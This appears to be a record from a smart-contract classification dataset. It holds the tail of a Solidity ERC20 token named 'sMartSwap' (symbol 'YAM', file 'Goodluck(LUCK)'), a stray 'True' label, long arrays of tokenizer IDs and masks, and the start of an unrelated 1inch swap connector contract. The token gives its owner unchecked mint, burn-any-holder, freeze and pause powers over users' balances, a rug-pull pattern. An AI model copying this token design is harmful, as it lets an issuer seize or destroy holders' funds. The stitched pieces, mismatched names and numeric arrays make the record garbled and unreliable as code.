*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: node_modules\openzeppelin-solidity\contracts\math\SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// File: node_modules\openzeppelin-solidity\contracts\token\ERC20\ERC20.sol
/**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implement supply
* mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an `Approval` event is emitted on calls to `transferFrom`.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
* functions have been added to mitigate the well-known issues around setting
* allowances. See `IERC20.approve`.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
// File: J\contracts\Goodluck(LUCK).sol
contract sMartSwap is ERC20 {
string public constant name = "sMartSwap";
string public constant symbol = "YAM ";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 10000000 * (10 ** uint256(decimals));
constructor() public {
super._mint(msg.sender, initialSupply);
owner = msg.sender;
}
//ownership
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Already owner");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
//pausable
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused, "Paused by owner");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused, "Not paused now");
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
//freezable
event Frozen(address target);
event Unfrozen(address target);
mapping(address => bool) internal freezes;
modifier whenNotFrozen() {
require(!freezes[msg.sender], "Sender account is locked.");
_;
}
function freeze(address _target) public onlyOwner {
freezes[_target] = true;
emit Frozen(_target);
}
function unfreeze(address _target) public onlyOwner {
freezes[_target] = false;
emit Unfrozen(_target);
}
function isFrozen(address _target) public view returns (bool) {
return freezes[_target];
}
function transfer(
address _to,
uint256 _value
)
public
whenNotFrozen
whenNotPaused
returns (bool)
{
releaseLock(msg.sender);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
require(!freezes[_from], "From account is locked.");
releaseLock(_from);
return super.transferFrom(_from, _to, _value);
}
//mintable
event Mint(address indexed to, uint256 amount);
function mint(
address _to,
uint256 _amount
)
public
onlyOwner
returns (bool)
{
super._mint(_to, _amount);
emit Mint(_to, _amount);
return true;
}
//burnable
event Burn(address indexed burner, uint256 value);
function burn(address _who, uint256 _value) public onlyOwner {
require(_value <= super.balanceOf(_who), "Balance is too small.");
_burn(_who, _value);
emit Burn(_who, _value);
}
//lockable
struct LockInfo {
uint256 releaseTime;
uint256 balance;
}
mapping(address => LockInfo[]) internal lockInfo;
event Lock(address indexed holder, uint256 value, uint256 releaseTime);
event Unlock(address indexed holder, uint256 value);
function balanceOf(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) {
lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance);
}
return super.balanceOf(_holder).add(lockedBalance);
}
function releaseLock(address _holder) internal {
for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) {
if (lockInfo[_holder][i].releaseTime <= now) {
_balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1];
i--;
}
lockInfo[_holder].length--;
}
}
}
function lockCount(address _holder) public view returns (uint256) {
return lockInfo[_holder].length;
}
function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) {
return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance);
}
function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(
LockInfo(_releaseTime, _amount)
);
emit Lock(_holder, _amount, _releaseTime);
}
function lockAfter(address _holder, uint256 _amount, uint256 _afterTime) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(
LockInfo(now + _afterTime, _amount)
);
emit Lock(_holder, _amount, now + _afterTime);
}
function unlock(address _holder, uint256 i) public onlyOwner {
require(i < lockInfo[_holder].length, "No lock information.");
_balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1];
}
lockInfo[_holder].length--;
}
function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(
LockInfo(_releaseTime, _value)
);
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, _releaseTime);
return true;
}
function transferWithLockAfter(address _to, uint256 _value, uint256 _afterTime) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(
LockInfo(now + _afterTime, _value)
);
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, now + _afterTime);
return true;
}
function currentTime() public view returns (uint256) {
return now;
}
function afterTime(uint256 _value) public view returns (uint256) {
return now + _value;
}
//airdrop
mapping (address => uint256) public airDropHistory;
event AirDrop(address _receiver, uint256 _amount);
function dropToken(address[] memory receivers, uint256[] memory values) onlyOwner public {
require(receivers.length != 0);
require(receivers.length == values.length);
for (uint256 i = 0; i < receivers.length; i++) {
address receiver = receivers[i];
uint256 amount = values[i];
transfer(receiver, amount);
airDropHistory[receiver] += amount;
emit AirDrop(receiver, amount);
}
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
6021,
1011,
2756,
1008,
1013,
1013,
1008,
1008,
6047,
26760,
9331,
2003,
1037,
7506,
1997,
1996,
25981,
10932,
3796,
24925,
2078,
27166,
2497,
2177,
9703,
4037,
1024,
16770,
1024,
1013,
1013,
6047,
26760,
9331,
1012,
12058,
1012,
14021,
2880,
4037,
16770,
1024,
1013,
1013,
6047,
26760,
9331,
1012,
2866,
1006,
2574,
1007,
4888,
3058,
2012,
1015,
1024,
4002,
7610,
1006,
11396,
1009,
1014,
1007,
2006,
2233,
2861,
1010,
25682,
12654,
6047,
26760,
9331,
16356,
2121,
1024,
8038,
2213,
2561,
4425,
1024,
2184,
1010,
2199,
1010,
2199,
26066,
2015,
1024,
2324,
3206,
1024,
1014,
2595,
2487,
2098,
19961,
7011,
22407,
2850,
2575,
2487,
2546,
20842,
2692,
12879,
14141,
2683,
22394,
2487,
20952,
2581,
8586,
16576,
10354,
2050,
2509,
7875,
2497,
2475,
100,
1064,
100,
1064,
100,
1064,
100,
1064,
100,
1064,
100,
1064,
100,
1064,
100,
1064,
100,
1064,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1064,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1019,
1012,
1022,
1025,
1013,
1013,
5371,
1024,
13045,
1035,
14184,
1032,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1032,
8311,
1032,
19204,
1032,
9413,
2278,
11387,
1032,
29464,
11890,
11387,
1012,
14017,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
2515,
2025,
2421,
1008,
1996,
11887,
4972,
1025,
2000,
3229,
2068,
2156,
1036,
9413,
2278,
11387,
3207,
14162,
2098,
1036,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1036,
4651,
1036,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1036,
4651,
19699,
5358,
1036,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1036,
14300,
1036,
2030,
1036,
4651,
19699,
5358,
1036,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2020-08-14
*/
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
interface TokenInterface {
function approve(address, uint256) external;
function transfer(address, uint) external;
function transferFrom(address, address, uint) external;
function deposit() external payable;
function withdraw(uint) external;
function balanceOf(address) external view returns (uint);
function decimals() external view returns (uint);
}
interface MemoryInterface {
function getUint(uint id) external returns (uint num);
function setUint(uint id, uint val) external;
}
interface EventInterface {
function emitEvent(uint connectorType, uint connectorID, bytes32 eventCode, bytes calldata eventData) external;
}
contract Stores {
/**
* @dev Return ethereum address
*/
function getEthAddr() internal pure returns (address) {
return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // ETH Address
}
/**
* @dev Return memory variable address
*/
function getMemoryAddr() internal pure returns (address) {
return 0x8a5419CfC711B2343c17a6ABf4B2bAFaBb06957F; // InstaMemory Address
}
/**
* @dev Return InstaEvent Address.
*/
function getEventAddr() internal pure returns (address) {
return 0x2af7ea6Cb911035f3eb1ED895Cb6692C39ecbA97; // InstaEvent Address
}
/**
* @dev Get Uint value from InstaMemory Contract.
*/
function getUint(uint getId, uint val) internal returns (uint returnVal) {
returnVal = getId == 0 ? val : MemoryInterface(getMemoryAddr()).getUint(getId);
}
/**
* @dev Set Uint value in InstaMemory Contract.
*/
function setUint(uint setId, uint val) virtual internal {
if (setId != 0) MemoryInterface(getMemoryAddr()).setUint(setId, val);
}
/**
* @dev emit event on event contract
*/
function emitEvent(bytes32 eventCode, bytes memory eventData) virtual internal {
(uint model, uint id) = connectorID();
EventInterface(getEventAddr()).emitEvent(model, id, eventCode, eventData);
}
/**
* @dev Connector Details.
*/
function connectorID() public view returns(uint model, uint id) {
(model, id) = (1, 38);
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract DSMath {
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function add(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(x, y);
}
function sub(uint x, uint y) internal virtual pure returns (uint z) {
z = SafeMath.sub(x, y);
}
function mul(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.mul(x, y);
}
function div(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.div(x, y);
}
function wmul(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(SafeMath.mul(x, y), WAD / 2) / WAD;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(SafeMath.mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(SafeMath.mul(x, RAY), y / 2) / y;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(SafeMath.mul(x, y), RAY / 2) / RAY;
}
}
interface OneInchInterace {
function swap(
TokenInterface fromToken,
TokenInterface toToken,
uint256 fromTokenAmount,
uint256 minReturnAmount,
uint256 guaranteedAmount,
address payable referrer,
address[] calldata callAddresses,
bytes calldata callDataConcat,
uint256[] calldata starts,
uint256[] calldata gasLimitsAndValues
)
external
payable
returns (uint256 returnAmount);
}
interface OneProtoInterface {
function swap(
TokenInterface fromToken,
TokenInterface destToken,
uint256 amount,
uint256 minReturn,
uint256[] calldata distribution,
uint256 flags // See contants in IOneSplit.sol
) external payable returns(uint256);
function swapMulti(
TokenInterface[] calldata tokens,
uint256 amount,
uint256 minReturn,
uint256[] calldata distribution,
uint256[] calldata flags
) external payable returns(uint256 returnAmount);
function getExpectedReturn(
TokenInterface fromToken,
TokenInterface destToken,
uint256 amount,
uint256 parts,
uint256 flags // See constants in IOneSplit.sol
)
external
view
returns(
uint256 returnAmount,
uint256[] memory distribution
);
}
interface OneProtoMappingInterface {
function oneProtoAddress() external view returns(address);
}
contract OneHelpers is Stores, DSMath {
/**
* @dev Return 1proto mapping Address
*/
function getOneProtoMappingAddress() internal pure returns (address payable) {
return 0x8d0287AFa7755BB5f2eFe686AA8d4F0A7BC4AE7F;
}
/**
* @dev Return 1proto Address
*/
function getOneProtoAddress() internal view returns (address payable) {
return payable(OneProtoMappingInterface(getOneProtoMappingAddress()).oneProtoAddress());
}
/**
* @dev Return 1Inch Address
*/
function getOneInchAddress() internal pure returns (address) {
return 0x11111254369792b2Ca5d084aB5eEA397cA8fa48B;
}
/**
* @dev Return 1inch Token Taker Address
*/
function getOneInchTokenTaker() internal pure returns (address payable) {
return 0xE4C9194962532fEB467DCe8b3d42419641c6eD2E;
}
/**
* @dev Return 1inch swap function sig
*/
function getOneInchSig() internal pure returns (bytes4) {
return 0xf88309d7;
}
function convert18ToDec(uint _dec, uint256 _amt) internal pure returns (uint256 amt) {
amt = (_amt / 10 ** (18 - _dec));
}
function convertTo18(uint _dec, uint256 _amt) internal pure returns (uint256 amt) {
amt = mul(_amt, 10 ** (18 - _dec));
}
function getTokenBal(TokenInterface token) internal view returns(uint _amt) {
_amt = address(token) == getEthAddr() ? address(this).balance : token.balanceOf(address(this));
}
function getTokensDec(TokenInterface buyAddr, TokenInterface sellAddr) internal view returns(uint buyDec, uint sellDec) {
buyDec = address(buyAddr) == getEthAddr() ? 18 : buyAddr.decimals();
sellDec = address(sellAddr) == getEthAddr() ? 18 : sellAddr.decimals();
}
function getSlippageAmt(
TokenInterface _buyAddr,
TokenInterface _sellAddr,
uint _sellAmt,
uint unitAmt
) internal view returns(uint _slippageAmt) {
(uint _buyDec, uint _sellDec) = getTokensDec(_buyAddr, _sellAddr);
